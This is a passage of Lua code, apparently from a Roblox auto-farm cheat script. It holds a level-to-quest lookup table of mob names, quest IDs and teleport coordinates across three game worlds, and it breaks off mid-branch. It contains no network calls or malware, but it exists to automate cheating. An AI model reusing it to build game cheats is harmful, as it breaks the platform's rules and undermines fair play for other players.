CFrameMon = CFrame.new(-1779.97583, 44.6077499, -2736.35474, 0.984437346, 4.10396339e-08, 0.175734788, -3.62286876e-08, 1, -3.05844168e-08, -0.175734788, 2.3741821e-08, 0.984437346)

SPAWNPOINT = "Colosseum"

elseif MyLevel == 275 or MyLevel <= 299 or \_G.Select\_Mob\_Farm == "Gladiator [Lv. 275]" then -- Gladiato

Ms = "Gladiator [Lv. 275]"

NameQuest = "ColosseumQuest"

LevelQuest = 2

NameMon = "Gladiato"

CFrameQuest = CFrame.new(-1576.11743, 7.38933945, -2983.30762, 0.576966345, 1.22114863e-09, 0.816767931, -3.58496594e-10, 1, -1.24185606e-09, -0.816767931, 4.2370063e-10, 0.576966345)

CFrameMon = CFrame.new(-1274.75903, 58.1895943, -3188.16309, 0.464524001, 6.21005611e-08, 0.885560572, -4.80449414e-09, 1, -6.76054768e-08, -0.885560572, 2.71497012e-08, 0.464524001)

SPAWNPOINT = "Colosseum"

elseif MyLevel == 300 or MyLevel <= 324 or \_G.Select\_Mob\_Farm == "Military Soldier [Lv. 300]" then -- Military Soldier

Ms = "Military Soldier [Lv. 300]"

NameQuest = "MagmaQuest"

LevelQuest = 1

NameMon = "Military Soldier"

CFrameQuest = CFrame.new(-5316.55859, 12.2370615, 8517.2998, 0.588437557, -1.37880001e-08, -0.808542669, -2.10116209e-08, 1, -3.23446478e-08, 0.808542669, 3.60215964e-08, 0.588437557)

CFrameMon = CFrame.new(-5363.01123, 41.5056877, 8548.47266, -0.578253984, -3.29503091e-10, 0.815856814, 9.11209668e-08, 1, 6.498761e-08, -0.815856814, 1.11920997e-07, -0.578253984)

SPAWNPOINT = "Magma"

elseif MyLevel == 325 or MyLevel <= 374 or \_G.Select\_Mob\_Farm == "Military Spy [Lv. 330]" then -- Military Spy

Ms = "Military Spy [Lv. 325]"

NameQuest = "MagmaQuest"

LevelQuest = 2

NameMon = "Military Spy"

CFrameQuest = CFrame.new(-5316.55859, 12.2370615, 8517.2998, 0.588437557, -1.37880001e-08, -0.808542669, -2.10116209e-08, 1, -3.23446478e-08, 0.808542669, 3.60215964e-08, 0.588437557)

CFrameMon = CFrame.new(-5787.99023, 120.864456, 8762.25293, -0.188358366, -1.84706277e-08, 0.982100308, -1.23782129e-07, 1, -4.93306951e-09, -0.982100308, -1.22495649e-07, -0.188358366)

SPAWNPOINT = "Magma"

elseif MyLevel == 375 or MyLevel <= 399 or \_G.Select\_Mob\_Farm == "Fishman Warrior [Lv. 375]" then -- Fishman Warrior

Ms = "Fishman Warrior [Lv. 375]"

NameQuest = "FishmanQuest"

LevelQuest = 1

NameMon = "Fishman Warrior"

CFrameQuest = CFrame.new(61122.5625, 18.4716396, 1568.16504, 0.893533468, 3.95251609e-09, 0.448996574, -2.34327455e-08, 1, 3.78297464e-08, -0.448996574, -4.43233645e-08, 0.893533468)

CFrameMon = CFrame.new(60946.6094, 48.6735229, 1525.91687, -0.0817126185, 8.90751153e-08, 0.996655822, 2.00889794e-08, 1, -8.77269599e-08, -0.996655822, 1.28533992e-08, -0.0817126185)

SPAWNPOINT = "Fountain"

elseif MyLevel == 400 or MyLevel <= 449 or \_G.Select\_Mob\_Farm == "Fishman Commando [Lv. 400]" then -- Fishman Commando

Ms = "Fishman Commando [Lv. 400]"

NameQuest = "FishmanQuest"

LevelQuest = 2

NameMon = "Fishman Commando"

CFrameQuest = CFrame.new(61122.5625, 18.4716396, 1568.16504, 0.893533468, 3.95251609e-09, 0.448996574, -2.34327455e-08, 1, 3.78297464e-08, -0.448996574, -4.43233645e-08, 0.893533468)

CFrameMon = CFrame.new(61885.5039, 18.4828243, 1504.17896, 0.577502489, 0, -0.816389024, -0, 1.00000012, -0, 0.816389024, 0, 0.577502489)

SPAWNPOINT = "Fountain"

elseif MyLevel == 450 or MyLevel <= 474 or \_G.Select\_Mob\_Farm == "God's Guard [Lv. 450]" then -- God's Guards

Ms = "God's Guard [Lv. 450]"

NameQuest = "SkyExp1Quest"

LevelQuest = 1

NameMon = "God's Guards"

CFrameQuest = CFrame.new(-4721.71436, 845.277161, -1954.20105, -0.999277651, -5.56969759e-09, 0.0380011722, -4.14751478e-09, 1, 3.75035256e-08, -0.0380011722, 3.73188307e-08, -0.999277651)

CFrameMon = CFrame.new(-4716.95703, 853.089722, -1933.92542, -0.93441087, -6.77488776e-09, -0.356197298, 1.12145182e-08, 1, -4.84390199e-08, 0.356197298, -4.92565206e-08, -0.93441087)

SPAWNPOINT = "Sky"

elseif MyLevel == 475 or MyLevel <= 524 or \_G.Select\_Mob\_Farm == "Shanda [Lv. 475]" then -- Shandas

sky = false

Ms = "Shanda [Lv. 475]"

NameQuest = "SkyExp1Quest"

LevelQuest = 2

NameMon = "Shandas"

CFrameQuest = CFrame.new(-7863.63672, 5545.49316, -379.826324, 0.362120807, -1.98046344e-08, -0.93213129, 4.05822291e-08, 1, -5.48095125e-09, 0.93213129, -3.58431969e-08, 0.362120807)

CFrameMon = CFrame.new(-7685.12354, 5601.05127, -443.171509, 0.150056243, 1.79768236e-08, -0.988677442, 6.67798661e-09, 1, 1.91962481e-08, 0.988677442, -9.48289181e-09, 0.150056243)

SPAWNPOINT = "Sky"

elseif MyLevel == 525 or MyLevel <= 549 or \_G.Select\_Mob\_Farm == "Royal Squad [Lv. 525]" then -- Royal Squad

sky = true

Ms = "Royal Squad [Lv. 525]"

NameQuest = "SkyExp2Quest"

LevelQuest = 1

NameMon = "Royal Squad"

CFrameQuest = CFrame.new(-7902.66895, 5635.96387, -1411.71802, 0.0504222959, 2.5710392e-08, 0.998727977, 1.12541557e-07, 1, -3.14249675e-08, -0.998727977, 1.13982921e-07, 0.0504222959)

CFrameMon = CFrame.new(-7685.02051, 5606.87842, -1442.729, 0.561947823, 7.69527464e-09, -0.827172697, -4.24974544e-09, 1, 6.41599973e-09, 0.827172697, -9.01838604e-11, 0.561947823)

SPAWNPOINT = "Sky2"

elseif MyLevel == 550 or MyLevel <= 624 or \_G.Select\_Mob\_Farm == "Royal Soldier [Lv. 550]" then -- Royal Soldier

Dis = 240

sky = true

Ms = "Royal Soldier [Lv. 550]"

NameQuest = "SkyExp2Quest"

LevelQuest = 2

NameMon = "Royal Soldier"

CFrameQuest = CFrame.new(-7902.66895, 5635.96387, -1411.71802, 0.0504222959, 2.5710392e-08, 0.998727977, 1.12541557e-07, 1, -3.14249675e-08, -0.998727977, 1.13982921e-07, 0.0504222959)

CFrameMon = CFrame.new(-7864.44775, 5661.94092, -1708.22351, 0.998389959, 2.28686137e-09, -0.0567218624, 1.99431383e-09, 1, 7.54200258e-08, 0.0567218624, -7.54117195e-08, 0.998389959)

SPAWNPOINT = "Sky2"

elseif MyLevel == 625 or MyLevel <= 649 or \_G.Select\_Mob\_Farm == "Galley Pirate [Lv. 625]" then -- Galley Pirate

Dis = 240

sky = false

Ms = "Galley Pirate [Lv. 625]"

NameQuest = "FountainQuest"

LevelQuest = 1

NameMon = "Galley Pirate"

CFrameQuest = CFrame.new(5254.60156, 38.5011406, 4049.69678, -0.0504891425, -3.62066501e-08, -0.998724639, -9.87921389e-09, 1, -3.57534553e-08, 0.998724639, 8.06145284e-09, -0.0504891425)

CFrameMon = CFrame.new(5595.06982, 41.5013695, 3961.47095, -0.992138803, -2.11610267e-08, -0.125142589, -1.34249509e-08, 1, -6.26613996e-08, 0.125142589, -6.04887518e-08, -0.992138803)

SPAWNPOINT = "Fountain"

elseif MyLevel >= 650 or \_G.Select\_Mob\_Farm == "Galley Captain [Lv. 650]" then -- Galley Captain

Dis = 240

Ms = "Galley Captain [Lv. 650]"

NameQuest = "FountainQuest"

LevelQuest = 2

NameMon = "Galley Captain"

CFrameQuest = CFrame.new(5254.60156, 38.5011406, 4049.69678, -0.0504891425, -3.62066501e-08, -0.998724639, -9.87921389e-09, 1, -3.57534553e-08, 0.998724639, 8.06145284e-09, -0.0504891425)

CFrameMon = CFrame.new(5658.5752, 38.5361786, 4928.93506, -0.996873081, 2.12391046e-06, -0.0790185928, 2.16989656e-06, 1, -4.96097414e-07, 0.0790185928, -6.66008248e-07, -0.996873081)

SPAWNPOINT = "Fountain"

end

elseif World2 then

if MyLevel == 700 or MyLevel <= 724 or \_G.Select\_Mob\_Farm == "Raider [Lv. 700]" then -- Raider [Lv. 700]

Ms = "Raider [Lv. 700]"

NameQuest = "Area1Quest"

LevelQuest = 1

NameMon = "Raider"

CFrameQuest = CFrame.new(-424.080078, 73.0055847, 1836.91589, 0.253544956, -1.42165932e-08, 0.967323601, -6.00147771e-08, 1, 3.04272909e-08, -0.967323601, -6.5768397e-08, 0.253544956)

CFrameMon = CFrame.new(-737.026123, 39.1748352, 2392.57959, 0.272128761, 0, -0.962260842, -0, 1, -0, 0.962260842, 0, 0.272128761)

SPAWNPOINT = "DressTown"

elseif MyLevel == 725 or MyLevel <= 774 or \_G.Select\_Mob\_Farm == "Mercenary [Lv. 725]" then -- Mercenary [Lv. 725]

Ms = "Mercenary [Lv. 725]"

NameQuest = "Area1Quest"

LevelQuest = 2

NameMon = "Mercenary"

CFrameQuest = CFrame.new(-424.080078, 73.0055847, 1836.91589, 0.253544956, -1.42165932e-08, 0.967323601, -6.00147771e-08, 1, 3.04272909e-08, -0.967323601, -6.5768397e-08, 0.253544956)

CFrameMon = CFrame.new(-973.731995, 95.8733215, 1836.46936, 0.999135971, 2.02326991e-08, -0.0415605344, -1.90767793e-08, 1, 2.82094952e-08, 0.0415605344, -2.73922804e-08, 0.999135971)

SPAWNPOINT = "DressTown"

elseif MyLevel == 775 or MyLevel <= 799 or \_G.Select\_Mob\_Farm == "Swan Pirate [Lv. 775]" then -- Swan Pirate [Lv. 775]

Ms = "Swan Pirate [Lv. 775]"

NameQuest = "Area2Quest"

LevelQuest = 1

NameMon = "Swan Pirate"

CFrameQuest = CFrame.new(632.698608, 73.1055908, 918.666321, -0.0319722369, 8.96074881e-10, -0.999488771, 1.36326533e-10, 1, 8.92172336e-10, 0.999488771, -1.07732087e-10, -0.0319722369)

CFrameMon = CFrame.new(970.369446, 142.653198, 1217.3667, 0.162079468, -4.85452638e-08, -0.986777723, 1.03357589e-08, 1, -4.74980872e-08, 0.986777723, -2.50063148e-09, 0.162079468)

SPAWNPOINT = "DressTown"

elseif MyLevel == 800 or MyLevel <= 874 or \_G.Select\_Mob\_Farm == "Factory Staff [Lv. 800]" then -- Factory Staff [Lv. 800]

Ms = "Factory Staff [Lv. 800]"

NameQuest = "Area2Quest"

LevelQuest = 2

NameMon = "Factory Staff"

CFrameQuest = CFrame.new(632.698608, 73.1055908, 918.666321, -0.0319722369, 8.96074881e-10, -0.999488771, 1.36326533e-10, 1, 8.92172336e-10, 0.999488771, -1.07732087e-10, -0.0319722369)

CFrameMon = CFrame.new(296.786499, 72.9948196, -57.1298141, -0.876037002, -5.32364979e-08, 0.482243896, -3.87658332e-08, 1, 3.99718729e-08, -0.482243896, 1.63222538e-08, -0.876037002)

SPAWNPOINT = "DressTown"

elseif MyLevel == 875 or MyLevel <= 899 or \_G.Select\_Mob\_Farm == "Marine Lieutenant [Lv. 875]" then -- Marine Lieutenant [Lv. 875]

Ms = "Marine Lieutenant [Lv. 875]"

NameQuest = "MarineQuest3"

LevelQuest = 1

NameMon = "Marine Lieutenant"

CFrameQuest = CFrame.new(-2442.65015, 73.0511475, -3219.11523, -0.873540044, 4.2329841e-08, -0.486752301, 5.64383384e-08, 1, -1.43220786e-08, 0.486752301, -3.99823996e-08, -0.873540044)

CFrameMon = CFrame.new(-2913.26367, 73.0011826, -2971.64282, 0.910507619, 0, 0.413492233, 0, 1.00000012, 0, -0.413492233, 0, 0.910507619)

SPAWNPOINT = "Greenb"

elseif MyLevel == 900 or MyLevel <= 949 or \_G.Select\_Mob\_Farm == "Marine Captain [Lv. 900]" then -- Marine Captain [Lv. 900]

Ms = "Marine Captain [Lv. 900]"

NameQuest = "MarineQuest3"

LevelQuest = 2

NameMon = "Marine Captain"

CFrameQuest = CFrame.new(-2442.65015, 73.0511475, -3219.11523, -0.873540044, 4.2329841e-08, -0.486752301, 5.64383384e-08, 1, -1.43220786e-08, 0.486752301, -3.99823996e-08, -0.873540044)

CFrameMon = CFrame.new(-1868.67688, 73.0011826, -3321.66333, -0.971402287, 1.06502087e-08, 0.237439692, 3.68856199e-08, 1, 1.06050372e-07, -0.237439692, 1.11775684e-07, -0.971402287)

SPAWNPOINT = "Greenb"

elseif MyLevel == 950 or MyLevel <= 974 or \_G.Select\_Mob\_Farm == "Zombie [Lv. 950]" then -- Zombie [Lv. 950]

Ms = "Zombie [Lv. 950]"

NameQuest = "ZombieQuest"

LevelQuest = 1

NameMon = "Zombie"

CFrameQuest = CFrame.new(-5492.79395, 48.5151672, -793.710571, 0.321800292, -6.24695815e-08, 0.946807742, 4.05616092e-08, 1, 5.21931227e-08, -0.946807742, 2.16082796e-08, 0.321800292)

CFrameMon = CFrame.new(-5634.83838, 126.067039, -697.665039, -0.992770672, 6.77618939e-09, 0.120025545, 1.65461245e-08, 1, 8.04023372e-08, -0.120025545, 8.18070234e-08, -0.992770672)

SPAWNPOINT = "Graveyard"

elseif MyLevel == 975 or MyLevel <= 999 or \_G.Select\_Mob\_Farm == "Vampire [Lv. 975]" then -- Vampire [Lv. 975]

Ms = "Vampire [Lv. 975]"

NameQuest = "ZombieQuest"

LevelQuest = 2

NameMon = "Vampire"

CFrameQuest = CFrame.new(-5492.79395, 48.5151672, -793.710571, 0.321800292, -6.24695815e-08, 0.946807742, 4.05616092e-08, 1, 5.21931227e-08, -0.946807742, 2.16082796e-08, 0.321800292)

CFrameMon = CFrame.new(-6030.32031, 6.4377408, -1313.5564, -0.856965423, 3.9138893e-08, -0.515373945, -1.12178942e-08, 1, 9.45958547e-08, 0.515373945, 8.68467822e-08, -0.856965423)

SPAWNPOINT = "Graveyard"

elseif MyLevel == 1000 or MyLevel <= 1049 or \_G.Select\_Mob\_Farm == "Snow Trooper [Lv. 1000]" then -- Snow Trooper [Lv. 1000] \*\*

Ms = "Snow Trooper [Lv. 1000]"

NameQuest = "SnowMountainQuest"

LevelQuest = 1

NameMon = "Snow Trooper"

CFrameQuest = CFrame.new(604.964966, 401.457062, -5371.69287, 0.353063971, 1.89520435e-08, -0.935599446, -5.81846002e-08, 1, -1.70033754e-09, 0.935599446, 5.50377841e-08, 0.353063971)

CFrameMon = CFrame.new(535.893433, 401.457062, -5329.6958, -0.999524176, 0, 0.0308452044, 0, 1, -0, -0.0308452044, 0, -0.999524176)

SPAWNPOINT = "Snowy"

elseif MyLevel == 1050 or MyLevel <= 1099 or \_G.Select\_Mob\_Farm == "Winter Warrior [Lv. 1050]" then -- Winter Warrior [Lv. 1050]

Ms = "Winter Warrior [Lv. 1050]"

NameQuest = "SnowMountainQuest"

LevelQuest = 2

NameMon = "Winter Warrior"

CFrameQuest = CFrame.new(604.964966, 401.457062, -5371.69287, 0.353063971, 1.89520435e-08, -0.935599446, -5.81846002e-08, 1, -1.70033754e-09, 0.935599446, 5.50377841e-08, 0.353063971)

CFrameMon = CFrame.new(1223.7417, 454.575226, -5170.02148, 0.473996818, 2.56845354e-08, 0.880526543, -5.62456428e-08, 1, 1.10811016e-09, -0.880526543, -5.00510211e-08, 0.473996818)

SPAWNPOINT = "Snowy"

elseif MyLevel == 1100 or MyLevel <= 1124 or \_G.Select\_Mob\_Farm == "Lab Subordinate [Lv. 1100]" then -- Lab Subordinate [Lv. 1100]

Ms = "Lab Subordinate [Lv. 1100]"

NameQuest = "IceSideQuest"

LevelQuest = 1

NameMon = "Lab Subordinate"

CFrameQuest = CFrame.new(-6060.10693, 15.9868021, -4904.7876, -0.411000341, -5.06538868e-07, 0.91163528, 1.26306062e-07, 1, 6.12581289e-07, -0.91163528, 3.66916197e-07, -0.411000341)

CFrameMon = CFrame.new(-5769.2041, 37.9288292, -4468.38721, -0.569419742, -2.49055017e-08, 0.822046936, -6.96206541e-08, 1, -1.79282633e-08, -0.822046936, -6.74401548e-08, -0.569419742)

SPAWNPOINT = "CircleIslandIce"

elseif MyLevel == 1125 or MyLevel <= 1174 or \_G.Select\_Mob\_Farm == "Horned Warrior [Lv. 1125]" then -- Horned Warrior [Lv. 1125]

Ms = "Horned Warrior [Lv. 1125]"

NameQuest = "IceSideQuest"

LevelQuest = 2

NameMon = "Horned Warrior"

CFrameQuest = CFrame.new(-6060.10693, 15.9868021, -4904.7876, -0.411000341, -5.06538868e-07, 0.91163528, 1.26306062e-07, 1, 6.12581289e-07, -0.91163528, 3.66916197e-07, -0.411000341)

CFrameMon = CFrame.new(-6400.85889, 24.7645149, -5818.63574, -0.964845479, 8.65926566e-08, -0.262817472, 3.98261392e-07, 1, -1.13260398e-06, 0.262817472, -1.19745812e-06, -0.964845479)

SPAWNPOINT = "CircleIslandIce"

elseif MyLevel == 1175 or MyLevel <= 1199 or \_G.Select\_Mob\_Farm == "Magma Ninja [Lv. 1175]" then -- Magma Ninja [Lv. 1175]

Ms = "Magma Ninja [Lv. 1175]"

NameQuest = "FireSideQuest"

LevelQuest = 1

NameMon = "Magma Ninja"

CFrameQuest = CFrame.new(-5431.09473, 15.9868021, -5296.53223, 0.831796765, 1.15322464e-07, -0.555080295, -1.10814341e-07, 1, 4.17010995e-08, 0.555080295, 2.68240168e-08, 0.831796765)

CFrameMon = CFrame.new(-5496.65576, 58.6890411, -5929.76855, -0.885073781, 0, -0.465450764, 0, 1.00000012, -0, 0.465450764, 0, -0.885073781)

SPAWNPOINT = "CircleIslandFire"

elseif MyLevel == 1200 or MyLevel <= 1249 or \_G.Select\_Mob\_Farm == "Lava Pirate [Lv. 1200]" then -- Lava Pirate [Lv. 1200]

Ms = "Lava Pirate [Lv. 1200]"

NameQuest = "FireSideQuest"

LevelQuest = 2

NameMon = "Lava Pirate"

CFrameQuest = CFrame.new(-5431.09473, 15.9868021, -5296.53223, 0.831796765, 1.15322464e-07, -0.555080295, -1.10814341e-07, 1, 4.17010995e-08, 0.555080295, 2.68240168e-08, 0.831796765)

CFrameMon = CFrame.new(-5169.71729, 34.1234779, -4669.73633, -0.196780294, 0, 0.98044765, 0, 1.00000012, -0, -0.98044765, 0, -0.196780294)

SPAWNPOINT = "CircleIslandFire"

elseif MyLevel == 1250 or MyLevel <= 1274 or \_G.Select\_Mob\_Farm == "Ship Deckhand [Lv. 1250]" then -- Ship Deckhand [Lv. 1250]

Ms = "Ship Deckhand [Lv. 1250]"

NameQuest = "ShipQuest1"

LevelQuest = 1

NameMon = "Ship Deckhand"

CFrameQuest = CFrame.new(1037.80127, 125.092171, 32911.6016, -0.244533166, -0, -0.969640911, -0, 1.00000012, -0, 0.96964103, 0, -0.244533136)

CFrameMon = CFrame.new(1163.80872, 138.288452, 33058.4258, -0.998580813, 5.49076979e-08, -0.0532564968, 5.57436763e-08, 1, -1.42118655e-08, 0.0532564968, -1.71604082e-08, -0.998580813)

SPAWNPOINT = "Ship"

elseif MyLevel == 1275 or MyLevel <= 1299 or \_G.Select\_Mob\_Farm == "Ship Engineer [Lv. 1275]" then -- Ship Engineer [Lv. 1275]

Ms = "Ship Engineer [Lv. 1275]"

NameQuest = "ShipQuest1"

LevelQuest = 2

NameMon = "Ship Engineer"

CFrameQuest = CFrame.new(1037.80127, 125.092171, 32911.6016, -0.244533166, -0, -0.969640911, -0, 1.00000012, -0, 0.96964103, 0, -0.244533136)

CFrameMon = CFrame.new(916.666504, 44.0920448, 32917.207, -0.99746871, -4.85034697e-08, -0.0711069331, -4.8925461e-08, 1, 4.19294288e-09, 0.0711069331, 7.66126895e-09, -0.99746871)

SPAWNPOINT = "Ship"

elseif MyLevel == 1300 or MyLevel <= 1324 or \_G.Select\_Mob\_Farm == "Ship Steward [Lv. 1300]" then -- Ship Steward [Lv. 1300]

Ms = "Ship Steward [Lv. 1300]"

NameQuest = "ShipQuest2"

LevelQuest = 1

NameMon = "Ship Steward"

CFrameQuest = CFrame.new(968.80957, 125.092171, 33244.125, -0.869560242, 1.51905191e-08, -0.493826836, 1.44108379e-08, 1, 5.38534195e-09, 0.493826836, -2.43357912e-09, -0.869560242)

CFrameMon = CFrame.new(918.743286, 129.591064, 33443.4609, -0.999792814, -1.7070947e-07, -0.020350717, -1.72559169e-07, 1, 8.91351277e-08, 0.020350717, 9.2628369e-08, -0.999792814)

SPAWNPOINT = "Ship"

elseif MyLevel == 1325 or MyLevel <= 1349 or \_G.Select\_Mob\_Farm == "Ship Officer [Lv. 1325]" then -- Ship Officer [Lv. 1325]

Ms = "Ship Officer [Lv. 1325]"

NameQuest = "ShipQuest2"

LevelQuest = 2

NameMon = "Ship Officer"

CFrameQuest = CFrame.new(968.80957, 125.092171, 33244.125, -0.869560242, 1.51905191e-08, -0.493826836, 1.44108379e-08, 1, 5.38534195e-09, 0.493826836, -2.43357912e-09, -0.869560242)

CFrameMon = CFrame.new(786.051941, 181.474106, 33303.2969, 0.999285698, -5.32193063e-08, 0.0377905183, 5.68968588e-08, 1, -9.62386864e-08, -0.0377905183, 9.83201005e-08, 0.999285698)

SPAWNPOINT = "Ship"

elseif MyLevel == 1350 or MyLevel <= 1374 or \_G.Select\_Mob\_Farm == "Arctic Warrior [Lv. 1350]" then -- Arctic Warrior [Lv. 1350]

Ms = "Arctic Warrior [Lv. 1350]"

NameQuest = "FrostQuest"

LevelQuest = 1

NameMon = "Arctic Warrior"

CFrameQuest = CFrame.new(5669.43506, 28.2117786, -6482.60107, 0.888092756, 1.02705066e-07, 0.459664226, -6.20391774e-08, 1, -1.03572376e-07, -0.459664226, 6.34646895e-08, 0.888092756)

CFrameMon = CFrame.new(5995.07471, 57.3188477, -6183.47314, 0.702747107, -1.53454167e-07, -0.711440146, -1.08168464e-07, 1, -3.22542007e-07, 0.711440146, 3.03620908e-07, 0.702747107)

SPAWNPOINT = "IceCastle"

elseif MyLevel == 1375 or MyLevel <= 1424 or \_G.Select\_Mob\_Farm == "Snow Lurker [Lv. 1375]" then -- Snow Lurker [Lv. 1375]

Ms = "Snow Lurker [Lv. 1375]"

NameQuest = "FrostQuest"

LevelQuest = 2

NameMon = "Snow Lurker"

CFrameQuest = CFrame.new(5669.43506, 28.2117786, -6482.60107, 0.888092756, 1.02705066e-07, 0.459664226, -6.20391774e-08, 1, -1.03572376e-07, -0.459664226, 6.34646895e-08, 0.888092756)

CFrameMon = CFrame.new(5518.00684, 60.5559731, -6828.80518, -0.650781393, -3.64292951e-08, 0.759265184, -4.07668654e-09, 1, 4.44854642e-08, -0.759265184, 2.58550248e-08, -0.650781393)

SPAWNPOINT = "IceCastle"

elseif MyLevel == 1425 or MyLevel <= 1449 or \_G.Select\_Mob\_Farm == "Sea Soldier [Lv. 1425]" then -- Sea Soldier [Lv. 1425]

Ms = "Sea Soldier [Lv. 1425]"

NameQuest = "ForgottenQuest"

LevelQuest = 1

NameMon = "Sea Soldier"

CFrameQuest = CFrame.new(-3052.99097, 236.881363, -10148.1943, -0.997911751, 4.42321983e-08, 0.064591676, 4.90968759e-08, 1, 7.37270085e-08, -0.064591676, 7.67442998e-08, -0.997911751)

CFrameMon = CFrame.new(-3029.78467, 66.944252, -9777.38184, -0.998552859, 1.09555076e-08, 0.0537791774, 7.79564235e-09, 1, -5.89660658e-08, -0.0537791774, -5.84614881e-08, -0.998552859)

SPAWNPOINT = "ForgottenIsland"

elseif MyLevel >= 1450 or \_G.Select\_Mob\_Farm == "Water Fighter [Lv. 1450]" then -- Water Fighter [Lv. 1450]

Ms = "Water Fighter [Lv. 1450]"

NameQuest = "ForgottenQuest"

LevelQuest = 2

NameMon = "Water Fighter"

CFrameQuest = CFrame.new(-3052.99097, 236.881363, -10148.1943, -0.997911751, 4.42321983e-08, 0.064591676, 4.90968759e-08, 1, 7.37270085e-08, -0.064591676, 7.67442998e-08, -0.997911751)

CFrameMon = CFrame.new(-3262.00098, 298.699615, -10553.6943, -0.233570755, -4.57538185e-08, 0.972339869, -5.80986068e-08, 1, 3.30992194e-08, -0.972339869, -4.87605725e-08, -0.233570755)

SPAWNPOINT = "ForgottenIsland"

end

elseif World3 then

if MyLevel == 1500 or MyLevel <= 1524 or \_G.Select\_Mob\_Farm == "Pirate Millionaire [Lv. 1500]" then

Ms = "Pirate Millionaire [Lv. 1500]"

NameQuest = "PiratePortQuest"

LevelQuest = 1

NameMon = "Pirate Millionaire"

CFrameQuest = CFrame.new(-290.074677, 42.9034653, 5581.58984, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627)

CFrameMon = CFrame.new(81.164993286133, 43.755737304688, 5724.7021484375)

SPAWNPOINT = "Default"

elseif MyLevel == 1525 or MyLevel <= 1574 or \_G.Select\_Mob\_Farm == "Pistol Billionaire [Lv. 1525]" then

Ms = "Pistol Billionaire [Lv. 1525]"

NameQuest = "PiratePortQuest"

LevelQuest = 2

NameMon = "Pistol Billionaire"

CFrameQuest = CFrame.new(-290.074677, 42.9034653, 5581.58984, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627)

CFrameMon = CFrame.new(81.164993286133, 43.755737304688, 5724.7021484375)

SPAWNPOINT = "Default"

elseif MyLevel == 1575 or MyLevel <= 1599 or \_G.Select\_Mob\_Farm == "Dragon Crew Warrior [Lv. 1575]" then

Ms = "Dragon Crew Warrior [Lv. 1575]"

NameQuest = "AmazonQuest"

LevelQuest = 1

NameMon = "Dragon Crew Warrior"

CFrameQuest = CFrame.new(5832.83594, 51.6806107, -1101.51563, 0.898790359, -0, -0.438378751, 0, 1, -0, 0.438378751, 0, 0.898790359)

CFrameMon = CFrame.new(6241.9951171875, 51.522083282471, -1243.9771728516)

SPAWNPOINT = "Hydra3"

elseif MyLevel == 1600 or MyLevel <= 1624 or \_G.Select\_Mob\_Farm == "Dragon Crew Archer [Lv. 1600]" then

Ms = "Dragon Crew Archer [Lv. 1600]"

NameQuest = "AmazonQuest"

LevelQuest = 2

NameMon = "Dragon Crew Archer"

CFrameQuest = CFrame.new(5832.83594, 51.6806107, -1101.51563, 0.898790359, -0, -0.438378751, 0, 1, -0, 0.438378751, 0, 0.898790359)

CFrameMon = CFrame.new(6488.9155273438, 383.38375854492, -110.66246032715)

SPAWNPOINT = "Hydra3"

elseif MyLevel == 1625 or MyLevel <= 1649 or \_G.Select\_Mob\_Farm == "Female Islander [Lv. 1625]" then

Ms = "Female Islander [Lv. 1625]"

NameQuest = "AmazonQuest2"

LevelQuest = 1

NameMon = "Female Islander"

CFrameQuest = CFrame.new(5448.86133, 601.516174, 751.130676, 0, 0, 1, 0, 1, -0, -1, 0, 0)

CFrameMon = CFrame.new(4770.4990234375, 758.95520019531, 1069.8680419922)

SPAWNPOINT = "Hydra1"

elseif MyLevel == 1650 or MyLevel <= 1699 or \_G.Select\_Mob\_Farm == "Giant Islander [Lv. 1650]" then

Ms = "Giant Islander [Lv. 1650]"

NameQuest = "AmazonQuest2"

LevelQuest = 2

NameMon = "Giant Islander"

CFrameQuest = CFrame.new(5448.86133, 601.516174, 751.130676, 0, 0, 1, 0, 1, -0, -1, 0, 0)

CFrameMon = CFrame.new(4530.3540039063, 656.75695800781, -131.60952758789)

SPAWNPOINT = "Hydra1"

elseif MyLevel == 1700 or MyLevel <= 1724 or \_G.Select\_Mob\_Farm == "Marine Commodore [Lv. 1700]" then

Ms = "Marine Commodore [Lv. 1700]"

NameQuest = "MarineTreeIsland"

LevelQuest = 1

NameMon = "Marine Commodore"

CFrameQuest = CFrame.new(2180.54126, 27.8156815, -6741.5498, -0.965929747, 0, 0.258804798, 0, 1, 0, -0.258804798, 0, -0.965929747)

CFrameMon = CFrame.new(2490.0844726563, 190.4232635498, -7160.0502929688)

SPAWNPOINT = "GreatTree"

elseif MyLevel == 1725 or MyLevel <= 1774 or \_G.Select\_Mob\_Farm == "Marine Rear Admiral [Lv. 1725]" then

Ms = "Marine Rear Admiral [Lv. 1725]"

NameQuest = "MarineTreeIsland"

LevelQuest = 2

NameMon = "Marine Rear Admiral"

CFrameQuest = CFrame.new(2180.54126, 27.8156815, -6741.5498, -0.965929747, 0, 0.258804798, 0, 1, 0, -0.258804798, 0, -0.965929747)

CFrameMon = CFrame.new(3951.3903808594, 229.11549377441, -6912.81640625)

SPAWNPOINT = "GreatTree"

elseif MyLevel == 1775 or MyLevel <= 1799 or \_G.Select\_Mob\_Farm == "Fishman Raider [Lv. 1775]" then

Ms = "Fishman Raider [Lv. 1775]"

NameQuest = "DeepForestIsland3"

LevelQuest = 1

NameMon = "Fishman Raider"

CFrameQuest = CFrame.new(-10581.6563, 330.872955, -8761.18652, -0.882952213, 0, 0.469463557, 0, 1, 0, -0.469463557, 0, -0.882952213)

CFrameMon = CFrame.new(-10322.400390625, 390.94473266602, -8580.0908203125)

SPAWNPOINT = "PineappleTown"

elseif MyLevel == 1800 or MyLevel <= 1824 or \_G.Select\_Mob\_Farm == "Fishman Captain [Lv. 1800]" then

Ms = "Fishman Captain [Lv. 1800]"

NameQuest = "DeepForestIsland3"

LevelQuest = 2

NameMon = "Fishman Captain"

CFrameQuest = CFrame.new(-10581.6563, 330.872955, -8761.18652, -0.882952213, 0, 0.469463557, 0, 1, 0, -0.469463557, 0, -0.882952213)

CFrameMon = CFrame.new(-11194.541992188, 442.02795410156, -8608.806640625)

SPAWNPOINT = "PineappleTown"

elseif MyLevel == 1825 or MyLevel <= 1849 or \_G.Select\_Mob\_Farm == "Forest Pirate [Lv. 1825]" then

Ms = "Forest Pirate [Lv. 1825]"

NameQuest = "DeepForestIsland"

LevelQuest = 1

NameMon = "Forest Pirate"

CFrameQuest = CFrame.new(-13234.04, 331.488495, -7625.40137, 0.707134247, -0, -0.707079291, 0, 1, -0, 0.707079291, 0, 0.707134247)

CFrameMon = CFrame.new(-13225.809570313, 428.19387817383, -7753.1245117188)
